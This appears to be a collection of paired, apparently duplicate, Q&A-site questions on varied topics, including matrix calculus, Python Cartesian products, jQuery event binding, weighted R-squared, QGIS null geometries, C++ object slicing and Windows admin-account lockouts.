I am really stuck at calculating $$\frac{d}{dC} \operatorname{trace} \left( X C P (X C)^T \right)$$ where $P \in R^{r\times r}$, $X \in R^{m\times n}$ and $C \in R^{n\times r}$ . Do I need to recall $A=XC$ and then apply chain rule such that $$\frac{d \operatorname{trace}(XCP(XC)^T)}{dC}=\frac{d\operatorname{trace}(APA^T)}{dA}\cdot \frac{dA}{dC}$$ where first factor equals $A (P+P^T) $ (following ) and the second is $X$. Am I right ? More correctly, by a quick dimensionality check, it would make more sense to have $X^T (XC) (P+P^T)$ at the end. Is it right ? Could someone help me prove it ? Moreover, is $\operatorname{trace}(XCP(XC)^T)$ convex w.r.t. $C$ ?

Given three matrices $A$, $B$ and $C$ such that $ABA^T C$ is a square matrix, the derivative of the trace with respect to $A$ is:  $$ \nabla_A \operatorname{trace}( ABA^{T}C )  = CAB + C^T AB^T $$  There is a proof . However, I was not able to understand the second line of the proof. it says something like this:  $$ \nabla_A \operatorname{trace}( ABA^T C )= \nabla_\bullet \operatorname{trace}(f(\bullet)A^{T}C) + \nabla_\bullet \operatorname{trace}(f(A) \bullet^T C) $$  Where  $f(A) = AB$  I tried searching the proof or any hint using google, but I couldn't fine anything. Could anyone please help me with this second line. I cannot sleep. I am obsessed with this proof.


I am helping a friend search for a short story she read 20+ years ago in junior high. It is about a car that gains a conscious mind and locks the owners in the vehicle and drives and drives and drives. The story is told from the view point of a gas station attendant who sees this car pass year after year.   Anyone know the name of this story?

When I was in middle school I read a short story about a self-driving car that becomes self aware and locks a family inside. It drives the same circuit endlessly and stops at the same service station at regular intervals. The car is upset by the carelessness of the family: cigarette burns and spills, etc. It would have been published prior to 1991. The story is told through the pov of a man who sees the car around the same time every year. I would love to teach it with my current middle school class. If you know the title of the story, or the author, please post a response.


I installed a Windows 8.1 laptop. By default the Administrator account is disabled. During the install process, the user created belongs to the administrators group (call it FirstUser).    I installed various software, I created a normal account for the user (call it RealUser), and I mistakenly deleted FirstUser account (while I was connected under this account). I rebooted and... oh well, I understood the mistake. I no longer have access to any administrative privileges. The laptop is still in workgroup.  I tested with  (latest version):   Activated Administrator account, and blanked its password (no option to set a new one) Gave RealUser account administrative privileges   After reboot, only RealUser account is still available. Once logged in, I'm unable to access anything requiring administrative provileges.  Does anyone know a way to successfully activate the Administrator account, or whatever ?

I'm a secretary and my boss set up my new Windows 7 OptiPlex 7010 (Dell) computer for me while I was on vacation (he does not remember setting any "administrator" password).   We are a small office so there is no system password set, either.  I've used it for 6 months, all the while I couldn't access network drives, etc., without an administrator password.  It was annoying, but I could still get my work done.  Finally, on a slow day I took it upon myself to "fix" the problem, and in all my infinite wisdom, I managed to change my user account from administrator to standard user, so now I really can't do anything.  I can't download or install any programs, move or rename files, etc.  I tried the Dell suggested solution, but the BIOS tells me there is no password set, so it has to be a Windows 7 problem.  All the solutions I have come across require an administrator password to let me do them.  What can I do to find out the admin password so I can use my own darn computer!?  Is there a default admin password?


I don't know how to do this. Javascript is single-threaded, so I can't run function and timer at the same time. How to check how much time my function executes?

I need to get execution time in milliseconds.  I originally asked this question back in 2008. The accepted answer then was to use  However, we can all agree now  that using the standard  API is more appropriate. I am therefore changing the accepted answer to this one.


How would on earth, anyone can prove this. frustrated! Please help.

I am currently studying discrete mathematics at uni (in my computer science degree). We have an assignment due tomorrow, and i have been able to do most of it, but one question eludes me. I spoke to a tutor today about it, and he said that last year they asked the same question in the assignment, and only 4 people got it right in the entire course.  The question is this: given the possible remainders that a perfect square leaves when divided by $3, 4$ and $8$......., $a, b$ are in the natural numbers, find all solutions to $2^a = b^2 - 5$ and prove there are no more solutions than the ones you have found?  I have been trying all day to solve this, but i am still no closer.  I am guessing it has something to do with using a different modulus (one of the tutors hinted this), but i cant figure it out.  If someone wouldn't mind perhaps pointing me in the right direction, i would be hugely grateful.  Thanks Corey B :)


Prove $\forall x\in \mathbb R$, if $x>0$ then $(x+\frac 1 x \ge 2)$   I think a proof by contradiction is the easiest in this case, so we have: $\forall x\in \mathbb R :x>0\wedge \neg(x+\frac 1 x \ge 2)\iff \forall x\in \mathbb R :x>0\wedge (x+\frac 1 x < 2)$  Take $x=100$ and we get an immediate contradiction $100+\frac 1 {100}< 2$  Did I use proof by contradiction correctly?  Is this statement $\forall x (p\to q)$ or $(\forall x (p)) \to q$?

I was asked to prove that:   $$x + \frac{1}{x}\geqslant 2$$  for all values of $ x > 0 $  I tried substituting random numbers into $x$ and I did get the answer greater than $2$. But I have a feeling that this is an unprofessional way of proving this. So how do I prove this inequality?


I have a set of linear arrays:  [0, 2, 4] [3, 7, 13, 16, 18] [1, 11, 12, 17] [5, 6, 14, 15]   I want to do the equivalent of a SQL cross join of all of these sets onto each other, so that I can create a matrix whose rows would be something like:  [0, 3, 1, 5] (0th entry in each array) [0, 3, 1, 6] (0th 0th 0th 1st) [0, 3, 1, 14] (0th 0th 0th 2nd) [0, 3, 1, 15] (0th 0th 0th 3rd) [0, 3, 2, 5] (0th 0th 1st 0th) ... [4 18 17 15] (last entry in each array)   The brute force way I can think of is nested for-loops which seems hugely inefficient.  Is there a simple way to do this in python? I'm still learning zip and map and list comprehension and thought maybe there's some way using those, but I've been staring at this for a while and could use a nudge.  Thanks for any help!

How can I get the Cartesian product (every possible combination of values) from a group of lists?  Input:   somelists = [    [1, 2, 3],    ['a', 'b'],    [4, 5] ]   Desired output:  [(1, 'a', 4), (1, 'a', 5), (1, 'b', 4), (1, 'b', 5), (2, 'a', 4), (2, 'a', 5) ...]


I dont know how to deal with this problem as I was used to work with 0 and 1! I get stuck at the beginning. Thanks for ur help in adbance.

The problem is: Find $C_n$, the number of all ternary strings (length $n≥0$) that don't have consecutive 1's and 2's, using combinatorics.   Any tips or advices?


"Home" triggers the function but "Dynamic Link" doesn't.

                  Home

      it seems to write the same markup, but the .click() doesn't work for the appended item.  No idea why.  Help?

I have a bit of code where I am looping through all the select boxes on a page and binding a .hover event to them to do a bit of twiddling with their width on mouse on/off.  This happens on page ready and works just fine.  The problem I have is that any select boxes I add via Ajax or DOM after the initial loop won't have the event bound.  I have found this plugin (), but before I add another 5k to my pages with a plugin, I want to see if anyone knows a way to do this, either with jQuery directly or by another option.


The dragons in question could take on "human" forms that wore armor that was really their living scales shaped around their humanoid bodies. One notable story in the series is one dragon unleashing a wave of giant, furred creatures from dormancy who absorbed all energy, including heat, leaving behind a frozen wasteland wherever they went.

Set in a fantasy world with shape shifting Dragon kings and their warriors. They terrorize the humans, and kill those with magic.   The protagonist is the great-grandson of a powerful warlock. He finds out that he has magic, and fights with it to save his new friends, the Griffin, Blackhorse (I think that's his name), some creepy necromancer who is immortal, and Gwen (fellow sorceress), along with the kingdom that the Griffin rules in.   They fight the protagonist's father, the leader of the Dragon kings, the king's Duke, and the creepy sorcerer, who has a curse (when he dies, he changes side from good to bad, or bad to good). I have no clue what this is called, but I want to find out, since I'm out of things to read.


The site I am most active is TeX.SX and its Meta site. As such, I can only assume that most of the rules there hold for general Meta sites as well, as there is no reputation gain (apart from Meta.SX of course)  Well, in this sense, the Mortarboard, Epic and Legendary badges with their respective requirements of 200 rep once a day, >= 200 rep on 50 days and >= 200 rep gain on 150 days are useless on a regular Meta site.  Perhaps I have some misinterpretations, so please bear with my question ;-)

Is there any reason behind the ghost reputation we gain on the meta of a Stack Exchange site? This reputation doesn't add up to anything, but it still shows me I have gained some. Is this supposed to make any sense?


I have a weighted least square model and I wanted to calculate $R^2$ manually, but my results don't match the R summary. Why is that?  > head(weights(m)) [1] 0.973411 0.408694 0.414370 0.426554 0.357159 0.407986 > yhat = predict(m) > y = as.numeric(model.frame(m)[,1]) > SStot = sum((y - mean(y))^2) > SSres = sum((y - yhat)^2) > rsq = 1 - (SSres / SStot) > rsq [1] 0.065211 > summary(m)$r.squared [1] 0.0433978   The same formulas give me the correct $R^2$ when using ordinary least square.

I estimated a robust linear model in R with MM weights using the rlm() in the MASS package. `R`` does not provide an $R^2$ value for the model, but I would like to have one if it is a meaningful quantity. I am also interested to know if there is any meaning in having an $R^2$ value that weighs the total and residual variance in the same way that observations were weighted in the robust regression. My general thinking is that, if, for the purposes of the regression, we are essentially with the weights giving some of the estimates less influence because they are outliers in some way, then maybe for the purpose of calculating $r^2$ we should also give those same estimates less influence?   I wrote two simple functions for the $R^2$ and the weighted $R^2$, they are below. I also included the results of running these functions for my model which is called HI9.  EDIT: I found web page of Adelle Coster of UNSW that gives a formula for R2 that includes the weights vector in calculating the calculation of both SSe and SSt just as I did, and asked her for a more formal reference:  (still looking for help from Cross Validated on how to interpret this weighted $r^2$.)  #I used this function to calculate a basic r-squared from the robust linear model r2 <- function(x){   + SSe <- sum((x$resid)^2);   + observed <- x$resid+x$fitted;   + SSt <- sum((observed-mean(observed))^2);   + value <- 1-SSe/SSt;   + return(value);   + }   r2(HI9)   [1] 0.2061147  #I used this function to calculate a weighted r-squared from the robust linear model > r2ww <- function(x){ + SSe <- sum((x$w*x$resid)^2); #the residual sum of squares is weighted + observed <- x$resid+x$fitted; + SSt <- sum((x$w*(observed-mean(observed)))^2); #the total sum of squares is weighted       + value <- 1-SSe/SSt; + return(value); + }  > r2ww(HI9) [1] 0.7716264   Thanks to anyone who spends time answering this. Please accept my apologies if there is already some very good reference on this which I missed, or if my code above is hard to read (I am not a code guy).


Prove that a topological space $(X, \tau)$ is $T_2$ if and only if the diagonal $D=\{(x,x):x \in X\}$ is closed subset of the product space $X\times X$  => assume that $(X, \tau)$ is $T_2$, I know that $\forall x,y \in X$, there exists $U,V \subset X$ are open and disjoint sets such that $x\in U$ and $y \in V$. I think that $U \times U= \{(x,x):x\in U\}$ but I'm not sure this is correct, I don't know how to continue from here  for the converse, I can't see how the hypothesis help me prove $(X, \tau)$ is $T_2$

Let $X$ be a topological space. The diagonal of $X \times X$ is the subset $$D = \{(x,x)\in X\times X\mid x \in X\}.$$   Show that $X$ is Hausdorff if and only if $D$ is closed in $X \times X$.   First, I tried to show that $X \times X \setminus D$ is open using the fact that $X \times X$ is Hausdorff (because $X$ is Hausdorff), but I couldn't find an open set that contains a point outside $D$ and is disjoint to it...


As $$\frac{dy}{dx}= \lim_{∆x \to 0}\frac{∆y}{∆x}$$ then why $$\frac{dy}{dx}$$ is not a ratio ?

In the book Thomas's Calculus (11th edition) it is mentioned (Section 3.8 pg 225) that the derivative $dy/dx$ is not a ratio. Couldn't it be interpreted as a ratio, because according to the formula $dy = f'(x)dx$ we are able to plug in values for $dx$ and calculate a $dy$ (differential). Then if we rearrange we get $dy/dx$ which could be seen as a ratio.   I wonder if the author says this because $dx$ is an independent variable, and $dy$ is a dependent variable, for $dy/dx$ to be a ratio both variables need to be independent.. maybe?


So I have monodevelop.  I can run .exe file (in my case PC steam guard authenticator) How I can run it without going to program itself?  Can I somehow 'emulate' it?    I just want to get rid of that 'Run debugging' thing... Thanks for help.

I'm using MonoDevelop to write C# (.NET) codes, on Ubuntu Desktop 14.0.5 LTS. While testing a simple Hello World code, I encountered a problem - earlier on windows, I used the Console.ReadKey() statement to make sure that the console doesn't disappear instantaneously after showing the output. However, this trick is not working on Ubuntu. Here's the code, in case you'd need to see it:  using System;  namespace Project_1 {     class MainClass {         public static void Main (string[] args) {             Console.WriteLine ("Hello World!");             Console.ReadKey ();         }     } }   In spite of the last statement, the console shows up for about 1/100th of a second before disappearing. Precisely, the Console.ReadKey() statement is being ignored(??). I have no idea why this is happening. I'm new to using Ubuntu and installed MonoDevelop a few hours ago.  How do I fix this issue?


This is a part of my resume generated using the Careers.SO website. The PDF generated is just great except that it does not highlight the links in a way that makes their presence known. The certificate here is actually a link to my sharable Coursera certificate but since its color is the same as the rest of the text around it, it makes it less intutive that a hyperlink exists.    Shouldn't changes be made so that the presence of links is known easily? For example, by underlining the text for the string?

Don't know if it's intentional or not, but hyperlinks are colored like a normal text in the generated PDF on careers.stackoverflow.com, which makes them indistinguishable.


When creating child class, specify the super class as empty.  class Foo1():pass class Foo2:pass   What is the different of Foo1 and Foo2.  And there are some other class definition.  class Foo3(object):

What is the difference between old style and new style classes in Python?  When should I use one or the other?


For example a code like:  int arr[5] = {1, 2, 3, 4, 5}   Is there anyway to get the 5 in arr[5]? I haven't learnt C++ before.

How do I determine the size of my array in C?   That is, the number of elements the array can hold?


I have a shapefile with 1722 rows representing a road network. There is a feature somewhere, somehow that is kind of invisible, specifically the feature with id 1780. When I execute an expression    "id" = 1780   the bar shows there is a result somewhere. When I try to zoom on the selected result it's nowhere. I'm asking because I try to load the dataset into postgis and this way I'm getting a null geometry.  Any idea what is causing it?

I have been given a Shapefile that contains records with NULL geometry, along with records with non-NULL geometry. This situation appears to cause problems in QGIS (1.8 and 2.0) when editing the geometries.  I have been able to remove the NULL records by using the Marquee Select tool in the Map pane to select all the features in the dataset and saving the selection as a new shapefile, what I would like to know is how  to identify and delete the NULL geometry records in situ in QGIS. I have been unable to do this using the 'Select By Expression' functionality in QGIS 2.0 with expressions such as the following:   $area = 0   $geometry IS NULL   geomToWKT(  $geometry ) =  ''   I have uploaded a  containing five records, two of which (ID 3 and 4) have null geometries. The format is a MapInfo TAB file as I am having problems creating a Shapefile that preserves the NULL geometries! (I am not sure of the provenance of the Shapefile that sparked the question to begin with)


Consider a succession $\{f_{n,k}\}_{n,k}$ s.t. for any fixed $k$, $\lim_{n\rightarrow\infty}f_{n,k}=g_k$. Which are the conditions s.t. \begin{equation} \lim_{n\rightarrow\infty}\sum_{k}f_{n,k}=\sum_{k}g_k \; \;? \end{equation}

Suppose f(m,n) is a double sequence in $\mathbb R$. Under what condition do we have $\lim\limits_{n\to\infty}\sum\limits_{m=1}^\infty f(m,n)=\sum\limits_{m=1}^\infty \lim\limits_{n\to\infty} f(m,n)$? Thanks!


I have two classes, Object and Ball. Ball is derived from Object. Object has a virtual function "move" and a non virtual function "moveFast" that calls move. Class Ball redefines the move function from it's parent class.  #include <iostream>  struct Object {     virtual void move(int dist)     {         std::cout<<"Moving "<<dist<<std::endl;     }     void moveFast(int multiplier)      {         move(10*multiplier);     } };  struct Ball : public Object {     void move(int dist)     {         std::cout<<"Rolling "<<dist<<std::endl;     } };  class List {     struct Node     {         Node* next;         Object ele;         Node(Object e, Node* n=NULL) : ele(e), next(n){}     };      Node* head; public:     List() : head(NULL){}     void addObj(Object o)     {         if(head==NULL)         {             head =  new Node(o);             return;         }          Node* current = head;         while(current->next!=NULL)         {             current=current->next;         }         Node* obj = new Node(o);         current->next=obj;     }     void doStuff()     {         Node* current = head;         while(current!= NULL)         {             current->ele.moveFast(10);             current=current->next;         }     } };  int main() {     Object a,b,c;     Ball d;     List list;      list.addObj(a);     list.addObj(b);     list.addObj(c);     list.addObj(d);     list.doStuff(); }   The List class takes in Objects and calls their moveFast function. Because a,b, and c are just Objects I would expect the first 3 lines of output to be "Moving 100". d however, is an instance of the Ball class. So I would expect the 4th line of output to say "Rolling 100", because Ball redefined the move function.  Right now all the output prints   Moving 100 Moving 100 Moving 100 Moving 100   Is there a way to get Ball's definition of move called from List?

Someone mentioned it in the IRC as the slicing problem.


in jQuery, how do I hover over a picture and show another picture? I know about the hover() takes two parameters but I am not too clear on it. Someone please explain.

I have a few images and their rollover images. Using jQuery, I want to show/hide the rollover image when the onmousemove/onmouseout event happen. All my image names follow the same pattern, like this:  Original Image: Image.gif Rollover Image: Imageover.gif  I want to insert and remove the "over" portion of image source in the onmouseover and onmouseout event, respectively. How can I do it using jQuery?


I am writing an essay on Act 3 Scene 5 in Romeo and Juliet where the romantic play takes the turn for tragic. Indeed, Juliet loses the support of her primary family and is left deserted, with no hope to turn to except Friar Lawrence.      There is no room for workarounds around the difficult situation for poor Juliet.    Rather than using the phrase room for workarounds or between a rock and a hard place, I would have preferred to find a term that suggests this idea of an untiable knot (which is clearly not a term). Any suggestions?  This differs from another Stackexchange  since I am not looking for a situation in which there are only two possibilities, but a situation that cannot be solved.

I'm searching for a proverb or expression that describes a situation which has two choices or two ways out (that is, somewhat of a forced choice) where both lead to some kind of trouble (but not the same trouble).  As an example: Let's say that you can chose to go either left or right. If you go left, you will have to fight your way through an army of trolls. If you go right, you will have to go through a desert without any food or water for one week.


My alliance had suggested we go to war with someone I wanted to go to war with for a while, but before I could accept it, I saved my game just in case. Then loaded it again.   Now the proposition on the top is not there anymore and I cannot for the life of me find this war proposal anywhere.  It hasn't been declined, it just disappeared, because when I go to declare war against that enemy, it says: "Your alliance already has a proposition for actions against this empire."   What am I suppose to do? Just wait until the offer dies and it auto-declines? But then I lose -20 reputation with my entire alliance.   Wtf...

I accidentally closed it without voting, how can I find it? When I suggest declaring war on the target it says there's already a proposition to do so.


A permutation of $n$ is a one-to-one and onto function $p$ from $\{0,1,2,\dots,n-1\}$ to itself, such that $p(i) = p(j)$ if and only if $i=j$.  The identity permutation is given by $p(i) = i$ for $0 \leq i < n$. How to check whether $P$ can be written as some power of permutation $Q$ (i.e find $j$ such that $P=Q^j$, $P$ and $Q$ are permutation and given in problem)?

Suppose there are $2$ permutations given by $p$ and $q$. I need to check whether $p$ belongs to the group generated by $q$, and if so, it's representation in a power of $q$. In other words, I've been given $p$ and $q$, I need to check whether $\exists i \in \{ 0,...,|q|-1 \} \text{ such that } p = q^i$ I know that if $m = \gcd(i, |q|)$, then $|q^i| = \frac{|q|}{m}$. Now, say that such an $i$ exists. Then, $$ |p| = \frac{|q|}{\gcd(i, |q|)} \Rightarrow \gcd(i, |q|) = \frac{|q|}{|p|} $$ Thus, a necessary condition for such an $i$ to exist is: $|p|$ divides $|q|$ Say that this holds, and $\frac{|q|}{|p|} = r$, where r is an integer. Then we just have to solve $\gcd(i, |q|) = r$ for $ i \in \{ 0,...,|q|-1 \}$. Can this be done? If not manually, then by some efficient algorithm? (Note: Just looping over all values of $i$ is not efficient as $i$ may be very large) Edit: Another way I can think of solving this is by writing both $p$ and $q$ as product of disjoint cycles: $$ p = c_1c_2\ldots c_k \text{ and } q = d_1d_2\ldots d_l $$ And thus, as disjoint cycles commute: $$ p^i = c_1^ic_2^i\ldots c_k^i $$ How to proceed after this?


We say that for a number $R$, $R^0 =1$, but if $R=0$ how can $R^0$ be $1$?

Could someone provide me with a good explanation of why $0^0=1$?  My train of thought:  $x>0$  $0^x=0^{x-0}=0^x/0^0$, so  $0^0=0^x/0^x=\,?$  Possible answers:   $0^0\cdot0^x=1\cdot0^0$, so $0^0=1$ $0^0=0^x/0^x=0/0$, which is undefined   PS. I've read the  on mathforum.org, but it isn't clear to me.


I am running ubuntu 16.04 with gcc.  My q.ccp file is  #include <my_messages.pb.h>  int main(int argc, char **argv) {      google::protobuf::MyMessage* logged_msg_;      return 0; }   command used for compilation:  g++ -m64 -Wl,-O1 -L/usr/lib/x86_64-linux-gnu /usr/local/lib/libprotobuf.a my_messages.pb.cc q.cpp -lpthread   protoc --version returns: 2.2.0  gcc --version  gcc (Ubuntu 4.8.5-4ubuntu2) 4.8.5 Copyright (C) 2015 Free Software Foundation, Inc. This is free software; see the source for copying conditions.  There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.   compile error starts with  undefined reference to `google::protobuf::internal::ExtensionSet::Clear()   and gives undefined reference error for every function of protocol buffers.

Why does the order in which libraries are linked sometimes cause errors in GCC?


I was reading about this on W3, but I want to know more information about the differences and advantages of declaring a regular function versus  declaring a function stored in a variable. Regular: function test(){    // code }  With Variable: var test = function() {   // code }

I've recently started maintaining someone else's JavaScript code. I'm fixing bugs, adding features and also trying to tidy up the code and make it more consistent.  The previous developer used two ways of declaring functions and I can't work out if there is a reason behind it or not.  The two ways are:  var functionOne = function() {     // Some code };     function functionTwo() {     // Some code }   What are the reasons for using these two different methods and what are the pros and cons of each? Is there anything that can be done with one method that can't be done with the other?


We're given the sentences:   The boy wouldn't finish the job due to "certain technicalities". The boy wouldn't finish the job due to "certain technicalities."   Each sentence ends with quotations. The words "certain technicalities" are not being said by a person as a sentence, so why would I enclose a period inside? It looks a little more awkward to not enclose the period, however it seems grammatically incorrect to enclose the period.  So, which is it? Is the period left inside the quotes or outside the quotes when the quotes are part of another sentence?

I have been/am being taught that end punctuation should always go inside quotes. For example, you are supposed to write:     Marvin thought it was "awful."   The problem is I do not see how does this make sense. Intuitively, I always wrote:     Marvin thought it was "awful".   as that makes more logical sense — you want a quote to be an exact replication of what somebody else said, so why should you add punctuation inside?  I always thought it made more sense to not touch the quote and add anything after or before if it must be added.  So, why should I put end punctuation inside quotes?


What is the difference between escape velocity and escape speed , is their any error if we use them interchangeably?

The term  is quite common to us. But we know velocity is a dimension dependent on the direction. But the escape velocity has same value irrespective of from where it is thrown from the earth. So its just the magnitude that matters, not the direction. In that  sense it should be given the name as escape speed. But it is not given so, can anyone explain?


I have datetime a string "20160713161212". It is a datetime in string with format YYYYMMDDHHIISS How to parse it to string with format "07/13/2016 16:12:12" in Python?

I've got a huge list of date-times like this as strings:  Jun 1 2005  1:33PM Aug 28 1999 12:00AM   I'm going to be shoving these back into proper datetime fields in a database so I need to magic them into real datetime objects.   This is going through Django's ORM so I can't use SQL to do the conversion on insert.


I unfortunately have quite a broad question regarding queries that return more columns than they need.   Simply put, is this bad practice and should it be avoided at all costs? We continuously have debates about this in our development team. Some argue that all queries should only return the exact data they need as this would reduce I/O etc, others argue that it is OK to have a query that returns a few extra columns such as int or nvarchar(50) as this reuses execution plans and makes development faster. We are not using any SELECT * statements anywhere so this is not an issue - it is purely where a few extra columns are explicitly specified.   I know this may trigger a debate rather than an answer but any insight would be helpful.

On multiple questions here and on stack overflow i saw people saying in the comments and answers that select * from table is almost always an antipattern without any explaination why. Althrough I can sort of deduce why it is an antipattern. I may be looking over a detail that someone else with better understanding of the issue noticed.  So here is my question, why people say that select * is an antipattern.


Let's say I have a class which uses the following from the package java.io: FileOutputStream, OutputStream, FileInputStream, File, and IOException. Should I use a generic import, import java.io.*, or should I import each class individually.  What is the difference between a generic import and multiple imports?

It is much more convenient and cleaner to use a single statement like  import java.awt.*;   than to import a bunch of individual classes  import java.awt.Panel; import java.awt.Graphics; import java.awt.Canvas; ...   What is wrong with using a wildcard in the import statement?


I'd like to be able to show a keyboard button press in Google Docs, but it doesn't appear to have a way to use <kbd>, like so: Ctrl+x.   Is there any way to accomplish this in Docs?   If not, what would you suggest I do instead?

Here on the StackExchange framework we have a nice feature, which is apparently called "Keyboard Glyphs" (cf. ):     CTRL+Z   Is there a way (e.g. with an Add-On) to do the same in Google Docs? I browsed the Add-Ons but did not find anything, maybe it's hidden somewhere different (e.g. in a Code Formatting Plugin).


All my attempts for importing the values of "BTC/CAD BUY Price" and "BTC/CAD SELL Price" from  into Google Sheet failed. I was trying to use IMPORTXML() function. I also tried to use  and  extensions for Chrome. They generated valid x-path results but their x-path codes did not import the price into Google Sheet. Also spent a lot of time on , but still didn't get the result. Here is a  showing what I want to do.

Google Sheets has several import functions   IMPORTDATA IMPORTFEED IMPORTHTML IMPORTXML   Sometimes the above functions returns errors like #N/A Imported content is empty and would like to be sure that there isn't a problem with the resource content to be imported.  How do I know if these functions are able to get the content that I looking to import?  I know that there also exist IMPORTRANGE but that function only is able to import content from Google Sheets spreadsheets


Using QGIS 2.18 “Las Palmas”  Created a map to print using the “New Print Composer” extension.  When working on this all polygons are perfectly in place.   Once the map is saved as a PDF/Image the polygons shift.  Extra info: Bing map (Base Map from Open Layers Plugin) and all polygons are set to ESPG:29902 TM65/Irish Grid

I'm having trouble with the OpenLayers Plugin of Qgis and the map composer:  If I create an OSM-background layer and if I want to export this, the OSM-Layer looks perfectly all right in the normal qgis program window. But in the map composer and after export the layer has shifted relatively to my other shape layers (EPSG:32633 - WGS 84 / UTM zone 33N).  The second thing is that the output resolution of the exported osm-layer is very, very poor.   A really bad way of getting around this whole trouble would be to increase the screen resolution and make a screenshot of the map composition window of qgis. But I don't think this would be very professional. It also would cause a lot of pain :)   I'm using Qgis 1.8.0-Lisboa under Linux. The openlayers plugin is version 0.92.


Simple question. Does page.php need the loop? The Loop 'loops' through several pages/posts/content. However the page.php template only has 1 page. There's nothing to loop through. I noticed that simple functions such as the_title() and the_content() work outside the loop inside page.php. So...  Does page.php need the loop?  If so, why?

I'm writing my first WordPress theme and have a question about the use of The Loop in page templates. The page templates I've looked at all follow basically the same pattern (example from Twenty Twelve):  <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', 'page' ); ?> <?php comments_template( '', true ); ?> <?php endwhile; // end of the loop. ?>   But a page will only have one post associated with it so iterating through the posts seems unnecessary. My page template is more readable and seems to work fine:  <?php the_post(); the_title('<h1>', '</h1>'); the_content(); ?>   Is this a good practice? Are there any downsides?


I need to fetch all the custom permissions assigned to an User. The FeatureManagement class only provides the method to check if User has any specific custom permission assigned or not. Thanks!

I was looking for a little help to find all users with a particular Custom Permission assigned to them, either via Profile or Permission Set.


Someone made a massive lake on my world and I want to get rid of it, preferably by filling it in. But I would like to do it quickly, is there a fast way of doing this?

I've sectioned of this area in the sea near my base, and I need to get rid of all the water from it.  From what I've tried the only way I can see to clear it is fully cover one layer, delete the blocks, then go down to the next layer. Is that the only way I can clear the area or is there a better approach?  Ideally I'd like a survival method (if there is a better one), but any commands what could be used I'd like to hear just so I can learn more commands :)


I wish to test for whether the difference between 2 percentages is significantly different. For each percentage there are associated confidence intervals, which I need to incorporate into the test (CI reflect the accuracy of the estimated percentage).

Very often, we use data which are derived from some measurements. These measurements usually have a confidence measure associated which tells how reliable the measure is, or how confident we are about the measure. For example, we often see some confidence intervals associated with various polls.  I was wondering if there is a theory or algebra about combining multiple measurements and the resulting confidence measure of the aggregate. For example, if I measure $X$ with a confidence interval $\pm x\%$, $Y$ with confidence interval $\pm y\%$, what can I say about the confidence interval of $X+Y$? Similarly, what can we say about the confidence intervals for other operators?  Is there an algebra for this?


I have two systems, a Ubuntu PC and a Ubuntu laptop. I wonder if there is any way (wireless) to use my laptop as a second display? Because my laptop is too slow nowadays.

I have host desktop PC (running Windows XP) with a TV Card. I connected it via VGA cable to a laptop that runs Vista. I'd like to extend the desktop screen to the laptop. Both computers detected the second monitor but they detect it as a secondary and are not extending display to it. (So xp shows  itself as primary display and vista is showing itself as primary display)  There were few topic about connecting computers with software Like MaxiVista or ZoneScreen via network but this is too slow to watch movies or television on my setup.  What am I doing wrong?


We have a mail server configured in Ubuntu 12.04 with postfix, dovecot and roundcube. It has two interfaces, one with real IP and one with private LAN IP. Incase of intranet we have branches and head office, head office is connected directly through layer 3 switch and different VLAN and different IP block, branches are connected through core router.   The mail server is working fine with the internet domain and in case of intranet we can browse webmail by the local IP from our head office. But the problem is that the webmail is not accessible from the branches.   ICMP reply from branches to server and from server to branch is okay. Trace route from branches to server is okay but from server to branch it can't trace after 2 hop. The webmail page shows broken from branches. Already tested using a simple index html file, it also shows broken page from branch.   The default gateway is towards the real IP. We have some more servers with other applications in this IP block which are working fine from the branches. As per my troubleshooting it might be the routing issue as the default gateway of the server is towards Internet instead of intranet.   Please help me how to resolve the routing.

This is a  about Hairpin NAT (Loopback NAT).   The generic form of this question is:  We have a network with clients, a server, and a NAT Router. There is port forwarding on the router to the server so some of it's services are available externally. We have DNS pointing to the external IP. Local network clients fail to connect, but external work.   Why does this fail? How can I create a unified naming scheme (DNS names which work both locally and externally)?   This question has answeres merged from multiple other questions. They originally referenced FreeBSD, D-Link, Microtik, and other equipment. They're all trying to solve the same problem however.


I am using whatsapp on Samsung ace. Now I want to use whatsapp in my new HTC one. How can I transfer my my all chat histories from old phone to new phone?

I've got a new phone (Samsung) and want to transfer my Whatsapp chat history from my old device to it. Is this possible, and how to do it? I have a Whatsapp backup file for that date.


How can I upgrade Ubuntu from 16.04 LTS to 16.04.1 LTS? For some reasons, I don't seem to be able to do it. The main reason why I would like to do the upgrade is that the Nautilus shipped with 16.04 is affected by the .  Just in case someone asks, I have set upgrade to ANY new release and I have issued a do-release-upgrade to no avail. Also, the system is fully up-to-date.  If I do do-release-upgrade -d then yakkety gets installed and if I restrict to only new LTS releases nothing happens.

I can't find any documentation on upgrading 16.04 to 16.04.1.  I'm assuming having all the package updates does it, but Details is still reporting 16.04 and there is still a 'developer options' tab in Software & Updates, implying I'm still in some experimental release.


My keyframes have dissapeared, but the animations are still working. Its not the keyframes what dissapeared. It is the "Rig" under "Summary" So if I turn off "Only keyframes from selected area" its shows the models and its shape keys but not the rigs. I tried searching for unhide keys or select all frame all reload the blend file etc etc. It started first when I changed to the "Nonlinear Animation" tab (I wanted to loop an animation, So I Split-ed a track) It happened one time when I switched to Graph editor or Dope sheet I don't remember. I did not find the solution to that I just reloaded an old save.

Soo, I think I accidentally pressed something and I don't know how to fix that. The thing is that keyframes in the timeline are know hidden behind the numbers    The animation still works, I can add new keyframes, but I cannot select any of them as they're hidden... does anyone know how to get back to default settings?


I've just installed Ubuntu 14.04 LTS on my brand new PC. Beforehand, I was doing web development at work only for when we needed it (like HTML emails etc.) so I haven't a full understanding as to what I fully need.. I know I need an IDE (Think I'm going with Sublime Text) but what do I fully need to officially publish websites (I plan to freelance on the side of work), I can code HTML and CSS really well and PHP only adequatly but it's all just been given to me so I don't have a full understanding as to what I need.. could someone help list types of software - not necessarily name software just types so image manipulation, IDE etc. etc.  Thanks for any help given  -Trey

This question exists because it has historical significance, but it is not considered a good, on-topic question for this site, so please do not use it as evidence that you can ask similar questions here. See  for more information.   This is a community wiki for IDEs available on Ubuntu. Please post one IDE per answer (including more than just a screenshot or a link, please at least put a short description).  In your answer, tell us what the IDE is for (which language(s) or if it is RAD capable).


